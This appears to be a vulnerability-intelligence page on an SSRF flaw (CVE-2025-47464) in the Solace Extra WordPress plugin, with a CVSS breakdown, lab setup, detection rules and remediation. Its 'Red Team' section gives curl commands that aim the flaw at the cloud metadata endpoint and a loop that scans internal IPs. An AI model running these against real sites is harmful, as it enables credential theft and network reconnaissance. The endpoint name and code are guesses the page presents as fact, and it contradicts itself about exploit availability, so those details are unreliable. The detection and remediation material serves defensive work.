CVE-2025-47464
Executive Summary
CVE-2025-47464 is a Server-Side Request Forgery (SSRF) vulnerability identified in the Solace Extra WordPress plugin (solace-extra) by vendor Solacewp. The flaw affects all versions up to and including 1.3.1. An authenticated attacker with low privileges can exploit this vulnerability to make the server send crafted HTTP requests to internal or external resources, potentially leading to information disclosure, internal network scanning, or access to cloud metadata endpoints. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for WordPress sites using this plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin ecosystem. WordPress plugins are distributed via the official WordPress Plugin Directory or third-party marketplaces. The supply chain risk includes:
- Plugin Integrity: The plugin may be distributed with backdoors or malicious code if obtained from unofficial sources.
- Dependency Risk: The plugin may rely on other libraries or components that could introduce additional vulnerabilities.
- Update Mechanism: Since no patch is available, users must rely on manual mitigation or removal of the plugin.
CVSS Breakdown & Threat Level
CVSS Score: 4.9 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
- Privileges Required (PR): Low – An attacker needs a valid WordPress user account with low-level privileges (e.g., subscriber).
- User Interaction (UI): None – No user action is required for exploitation.
- Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
- Confidentiality (C): Low – Limited information disclosure (e.g., internal service banners, metadata).
- Integrity (I): None – No data modification is possible.
- Availability (A): None – No denial-of-service impact.
Threat Level: Medium. While the CVSS score is moderate, SSRF vulnerabilities can be chained with other attacks (e.g., cloud metadata access) to escalate impact.
Deep Dive & Mechanics
The Solace Extra plugin provides additional functionality for WordPress sites, including custom widgets, shortcodes, and API integrations. The SSRF vulnerability likely exists in a feature that fetches external resources based on user-supplied URLs (e.g., in a shortcode or admin panel). The plugin fails to properly validate or sanitize the URL input, allowing an attacker to specify internal IP addresses (e.g., 127.0.0.1, 10.0.0.1) or cloud metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/).
Attack Flow:
- An authenticated attacker (e.g., subscriber) crafts a malicious request to a vulnerable endpoint (e.g.,
/wp-admin/admin-ajax.php?action=solace_fetch&url=http://169.254.169.254/latest/meta-data/). - The plugin processes the URL without proper validation, making an HTTP request to the specified internal resource.
- The response is returned to the attacker, revealing sensitive information such as cloud instance metadata, internal service banners, or network topology.
Root Cause: Lack of URL validation and absence of allowlist-based filtering for outbound requests.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be present in all versions <= 1.3.1. A typical vulnerable pattern in WordPress plugins is:
// Vulnerable code (solace-extra <= 1.3.1)
function solace_fetch_url($url) {
$response = wp_remote_get($url);
return wp_remote_retrieve_body($response);
}
A patched version would include:
// Patched code (hypothetical)
function solace_fetch_url($url) {
$allowed_hosts = array('api.example.com', 'cdn.example.com');
$parsed_url = parse_url($url);
if (!in_array($parsed_url['host'], $allowed_hosts)) {
return 'Invalid URL';
}
$response = wp_remote_get($url);
return wp_remote_retrieve_body($response);
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with Solace Extra plugin <= 1.3.1 installed and activated.
- Valid low-privilege user account (e.g., subscriber).
Exploitation Steps:
- Identify the vulnerable endpoint. Common patterns include AJAX actions like
solace_fetch,solace_proxy, or similar. - Craft a request to an internal resource:
curl -X POST 'http://target/wp-admin/admin-ajax.php' \ -d 'action=solace_fetch&url=http://169.254.169.254/latest/meta-data/' - If successful, the response will contain cloud metadata (e.g., IAM role credentials).
- For internal network scanning, iterate through private IP ranges:
for ip in 10.0.0.{1..255}; do curl -X POST 'http://target/wp-admin/admin-ajax.php' \ -d "action=solace_fetch&url=http://$ip:80/" done
Lab Setup:
- Use Docker to spin up a vulnerable WordPress environment:
version: '3' services: wordpress: image: wordpress:latest ports: - "8080:80" environment: WORDPRESS_DB_HOST: db WORDPRESS_DB_USER: wordpress WORDPRESS_DB_PASSWORD: wordpress volumes: - ./wp-content/plugins:/var/www/html/wp-content/plugins db: image: mysql:5.7 environment: MYSQL_DATABASE: wordpress MYSQL_USER: wordpress MYSQL_PASSWORD: wordpress - Download and install Solace Extra <= 1.3.1 into
./wp-content/plugins/.
Blue Team (Detection & Prevention)
Detection:
- Monitor outbound HTTP requests from the web server to internal IP addresses (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254).
- Look for unusual AJAX requests with
action=solace_fetchor similar parameters. - Analyze web server logs for patterns like
url=http://followed by private IPs.
Prevention:
- Disable or remove the Solace Extra plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block requests containing private IPs in URL parameters.
- Restrict outbound traffic from the WordPress server using network ACLs or firewall rules.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8).
- Requests to
169.254.169.254(cloud metadata endpoint). - Repeated requests to internal services (e.g.,
http://localhost:3306,http://127.0.0.1:80).
File IOCs:
- Modified or suspicious entries in WordPress debug logs (
wp-content/debug.log). - Unusual files in the uploads directory (
wp-content/uploads/).
- Modified or suspicious entries in WordPress debug logs (
Log IOCs:
- Web server logs showing
POST /wp-admin/admin-ajax.phpwithaction=solace_fetchandurlparameter containing internal IPs. - PHP error logs indicating failed connections to internal hosts.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_47464_SSRF_SolaceExtra {
meta:
description = "Detects SSRF exploitation attempts against Solace Extra plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-47464"
strings:
$ajax_action = "action=solace_fetch"
$url_param = "url=http://"
$private_ip1 = "127.0.0.1"
$private_ip2 = "10."
$private_ip3 = "172.16."
$private_ip4 = "192.168."
$metadata = "169.254.169.254"
condition:
$ajax_action and $url_param and (
$private_ip1 or $private_ip2 or $private_ip3 or $private_ip4 or $metadata
)
}
Sigma Rule
title: CVE-2025-47464 SSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SSRF attempts against Solace Extra WordPress plugin
author: Valters IT
date: 2025/04/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-47464
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=solace_fetch'
cs-uri-query|contains: 'url=http://'
private_ip:
cs-uri-query|contains:
- '127.0.0.1'
- '10.'
- '172.16.'
- '192.168.'
- '169.254.169.254'
condition: selection and private_ip
falsepositives:
- Legitimate use of the plugin to fetch internal resources (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-47464 - Solace Extra SSRF Exploitation Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/wp-admin/admin-ajax.php";
http_uri;
content:"action=solace_fetch";
http_client_body;
content:"url=http://";
http_client_body;
pcre:"/(127\.0\.0\.1|10\.|172\.16\.|192\.168\.|169\.254\.169\.254)/Ri";
classtype:attempted-recon;
sid:10000001;
rev:1;
reference:cve,2025-47464;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and delete the Solace Extra plugin from all WordPress installations.
- Monitor logs: Review web server and application logs for signs of exploitation.
- Restrict outbound traffic: Use firewall rules to block outbound HTTP requests to private IP ranges from the web server.
Long-term Fix:
- Await an official patch from Solacewp. If none is provided, consider replacing the plugin with an alternative.
- Implement a Web Application Firewall (WAF) with rules to block SSRF patterns.
- Conduct a security audit of all WordPress plugins to identify similar vulnerabilities.
Workaround:
- If the plugin is critical, modify the code to add URL validation (allowlist approach) as shown in the patched code section.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.